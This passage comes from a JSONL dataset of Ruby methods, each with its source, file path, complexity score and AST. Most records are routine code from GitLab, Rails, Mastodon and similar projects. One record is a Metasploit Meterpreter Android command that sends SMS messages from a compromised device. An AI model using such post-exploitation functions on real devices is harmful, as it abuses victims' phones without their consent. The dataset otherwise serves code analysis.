end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_resource_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"model_name\"]},\"param_key\"]}]},\"permit\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metafields_attributes\"]},{\"type\":\"send\",\"children\":[null,\"permitted_metafield_attributes\"]}]}]}]}]}","id":"0343fb0b-3356-4504-a64b-682e33ae14fb"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/requests/api/graphql/packages/group_and_project_packages_list_shared_examples.rb","start_line":273,"raw_source":"def npm_pipeline_ids\n graphql_data_npm_package.dig('pipelines', 'nodes').pluck('id')\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"npm_pipeline_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"graphql_data_npm_package\"]},\"dig\",{\"type\":\"str\",\"children\":[\"pipelines\"]},{\"type\":\"str\",\"children\":[\"nodes\"]}]},\"pluck\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}","id":"4dc221af-0b1f-4df1-8260-af4f4bba50b8"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/friendsmegplus.rb","start_line":175,"raw_source":"def load_fmgp_json(filename)\n raise RuntimeError.new(\"File #{filename} not found\") if !File.exist?(filename)\n JSON.parse(File.read(filename))\n end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"load_fmgp_json\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\" not found\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]}","id":"c7b819fd-234b-4c99-b37c-5aff57776b9e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/issue.rb","start_line":699,"raw_source":"def invalidate_project_counter_caches\n return unless project\n\n Projects::OpenIssuesCountService.new(project).delete_cache\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"invalidate_project_counter_caches\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"OpenIssuesCountService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]}]},\"delete_cache\"]}]}]}","id":"d9bc83e1-679a-45be-95c8-26ca57cb611a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/project/object_builder.rb","start_line":234,"raw_source":"def find_work_item_type\n base_type = @attributes['base_type']\n\n find_with_cache([::WorkItems::Type, base_type]) do\n if ::WorkItems::Type.base_types.key?(base_type)\n ::WorkItems::Type.default_by_type(base_type)\n else\n ::WorkItems::Type.default_issue_type\n end\n end\n end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find_work_item_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_type\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"base_type\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_with_cache\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkItems\"]},\"Type\"]},{\"type\":\"lvar\",\"children\":[\"base_type\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkItems\"]},\"Type\"]},\"base_types\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"base_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkItems\"]},\"Type\"]},\"default_by_type\",{\"type\":\"lvar\",\"children\":[\"base_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkItems\"]},\"Type\"]},\"default_issue_type\"]}]}]}]}]}","id":"039ebc05-1840-4ec8-96b1-38e9eafe5a73"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/selects/custom_field.rb","start_line":40,"raw_source":"def self.all_available\n return [] unless available?\n\n ProjectCustomField\n .visible\n .pluck(:id)\n .map { |id| new(:\"cf_#{id}\") }\n end","complexity_score":7.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"all_available\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectCustomField\"]},\"visible\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"cf_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]}]}","id":"cf47c86a-ceef-471d-bcb0-5b3fc0cbf12b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/registry_repository.rb","start_line":23,"raw_source":"def initialize\n @name = project.path_with_namespace\n @tag_name = 'master'\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"path_with_namespace\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@tag_name\",{\"type\":\"str\",\"children\":[\"master\"]}]}]}]}","id":"9fbec769-9840-4653-a9b2-f7763f3a5b73"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/groups.rb","start_line":146,"raw_source":"def present_group_details(params, group, with_projects: true)\n options = {\n with: Entities::GroupDetail,\n with_projects: with_projects,\n current_user: current_user,\n user_can_admin_group: can?(current_user, :admin_group, group)\n }\n\n group, options = with_custom_attributes(group, options) if params[:with_custom_attributes]\n\n present group, options\n end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"present_group_details\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"kwoptarg\",\"children\":[\"with_projects\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entities\"]},\"GroupDetail\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with_projects\"]},{\"type\":\"lvar\",\"children\":[\"with_projects\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_can_admin_group\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_group\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"with_custom_attributes\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\"]},{\"type\":\"lvasgn\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"with_custom_attributes\",{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"present\",{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"98d6952f-4331-4707-931b-735ce53ec392"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/inspector.rb","start_line":111,"raw_source":"def wrap_routes(routes)\n routes.routes.map { |route| RouteWrapper.new(route) }.reject(&:internal?)\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"wrap_routes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"routes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routes\"]},\"routes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"route\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RouteWrapper\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"route\"]}]}]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal?\"]}]}]}]}","id":"120df27e-427b-406e-98f9-3c07bc6d0483"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/common/storages/adapters/providers/nextcloud/validators/ampf_configuration_validator_spec.rb","start_line":164,"raw_source":"def build_failure(code:, payload: nil)\n error = Results::Error.new(code:, payload:, source: self)\n Failure(error)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_failure\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"code\"]},{\"type\":\"kwoptarg\",\"children\":[\"payload\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Results\"]},\"Error\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}","id":"40bbac78-cbbe-4701-8a8e-ae6063afe3c2"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/workers/cost_query/pdf/timesheet_generator.rb","start_line":243,"raw_source":"def format_sum_time_entries(entries)\n format_hours(sum_time_entries(entries))\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"format_sum_time_entries\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entries\"]}]},{\"type\":\"send\",\"children\":[null,\"format_hours\",{\"type\":\"send\",\"children\":[null,\"sum_time_entries\",{\"type\":\"lvar\",\"children\":[\"entries\"]}]}]}]}","id":"a209c9a9-af30-4274-b057-34fa1ca5d9a6"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/invites_controller.rb","start_line":26,"raw_source":"def check_valid_usage!\n render json: { error: I18n.t('invites.invalid') }, status: 401 unless @invite.valid_for_use?\n end","complexity_score":4.73,"ast_json":"{\"type\":\"def\",\"children\":[\"check_valid_usage!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@invite\"]},\"valid_for_use?\"]},null,{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"invites.invalid\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[401]}]}]}]}]}]}","id":"6c881618-714f-4fef-a372-bac3e5529567"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meetings/side_panel/status_button_component.rb","start_line":45,"raw_source":"def call\n render(\n OpPrimer::StatusButtonComponent.new(\n current_status: current_status,\n items: [open_status, in_progress_status, closed_status],\n readonly: !edit_enabled?,\n disabled: !edit_enabled?,\n button_arguments: {\n title: t(\"label_meeting_state\"),\n size: @size\n },\n menu_arguments: { size: :small }\n )\n )\n end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpPrimer\"]},\"StatusButtonComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_status\"]},{\"type\":\"send\",\"children\":[null,\"current_status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"items\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_status\"]},{\"type\":\"send\",\"children\":[null,\"in_progress_status\"]},{\"type\":\"send\",\"children\":[null,\"closed_status\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"readonly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"edit_enabled?\"]},\"!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"edit_enabled?\"]},\"!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"button_arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"label_meeting_state\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"ivar\",\"children\":[\"@size\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"menu_arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"sym\",\"children\":[\"small\"]}]}]}]}]}]}]}]}","id":"2fc54e9e-e46e-488e-9fa0-af723396b5ff"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/auth/dependency_proxy_authentication_service_spec.rb","start_line":174,"raw_source":"def decode(token)\n DependencyProxy::AuthTokenService.new(token).execute\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DependencyProxy\"]},\"AuthTokenService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"token\"]}]},\"execute\"]}]}","id":"7463fc08-59b3-495e-bb02-4f2c070ef1e6"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb","start_line":508,"raw_source":"def cmd_send_sms(*args)\n send_sms_opts = Rex::Parser::Arguments.new(\n '-h' => [ false, 'Help Banner' ],\n '-d' => [ true, 'Destination number' ],\n '-t' => [ true, 'SMS body text' ],\n '-r' => [ false, 'Wait for delivery report' ]\n )\n\n dest = ''\n body = ''\n dr = false\n\n send_sms_opts.parse(args) do |opt, _idx, val|\n case opt\n when '-h'\n print_line('Usage: send_sms -d <number> -t <sms body>')\n print_line('Sends SMS messages to specified number.')\n print_line(send_sms_opts.usage)\n return\n when '-d'\n dest = val\n when '-t'\n body = val\n # Replace \\n with a newline character to allow multi-line messages\n body.gsub!('\\n',\"\\n\")\n when '-r'\n dr = true\n end\n end\n\n if dest.to_s.empty? || body.to_s.empty?\n print_error(\"You must enter both a destination address -d and the SMS text body -t\")\n print_error('e.g. send_sms -d +351961234567 -t \"GREETINGS PROFESSOR FALKEN.\"')\n print_line(send_sms_opts.usage)\n return\n end\n\n sent = client.android.send_sms(dest, body, dr)\n if dr\n if sent[0] == \"Transmission successful\"\n print_good(\"SMS sent - #{sent[0]}\")\n else\n print_error(\"SMS send failed - #{sent[0]}\")\n end\n if sent[1] == \"Transmission successful\"\n print_good(\"SMS delivered - #{sent[1]}\")\n else\n print_error(\"SMS delivery failed - #{sent[1]}\")\n end\n else\n if sent == \"Transmission successful\"\n print_good(\"SMS sent - #{sent}\")\n else\n print_error(\"SMS send failed - #{sent}\")\n end\n end\n end","complexity_score":65.55,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_send_sms\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"send_sms_opts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"Arguments\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Help Banner\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Destination number\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-t\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"SMS body text\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-r\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Wait for delivery report\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dest\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dr\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send_sms_opts\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"_idx\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: send_sms -d <number> -t <sms body>\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Sends SMS messages to specified number.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send_sms_opts\"]},\"usage\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"lvasgn\",\"children\":[\"dest\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-t\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"\\\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-r\"]},{\"type\":\"lvasgn\",\"children\":[\"dr\",{\"type\":\"true\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dest\"]},\"to_s\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"to_s\"]},\"empty?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"You must enter both a destination address -d and the SMS text body -t\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"e.g. send_sms -d +351961234567 -t \\\"GREETINGS PROFESSOR FALKEN.\\\"\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send_sms_opts\"]},\"usage\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sent\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"android\"]},\"send_sms\",{\"type\":\"lvar\",\"children\":[\"dest\"]},{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"lvar\",\"children\":[\"dr\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dr\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sent\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"Transmission successful\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SMS sent - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sent\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SMS send failed - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sent\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sent\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"==\",{\"type\":\"str\",\"children\":[\"Transmission successful\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SMS delivered - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sent\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SMS delivery failed - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sent\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sent\"]},\"==\",{\"type\":\"str\",\"children\":[\"Transmission successful\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SMS sent - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sent\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SMS send failed - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sent\"]}]}]}]}]}]}]}]}","id":"c75cec6e-efd3-4a6f-ba17-9731cc67d40f"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/payment.rb","start_line":280,"raw_source":"def validate_source\n if source && !source.valid?\n source.errors.map { |error| { field: error.attribute, message: error&.message } }.each do |err|\n next if err[:field].blank? || err[:message].blank?\n\n add_source_error(err[:field], err[:message])\n end\n end\n !errors.present?\n end","complexity_score":34.3,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_source\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"valid?\"]},\"!\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"errors\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"field\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"attribute\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"err\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"field\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]},\"blank?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_source_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\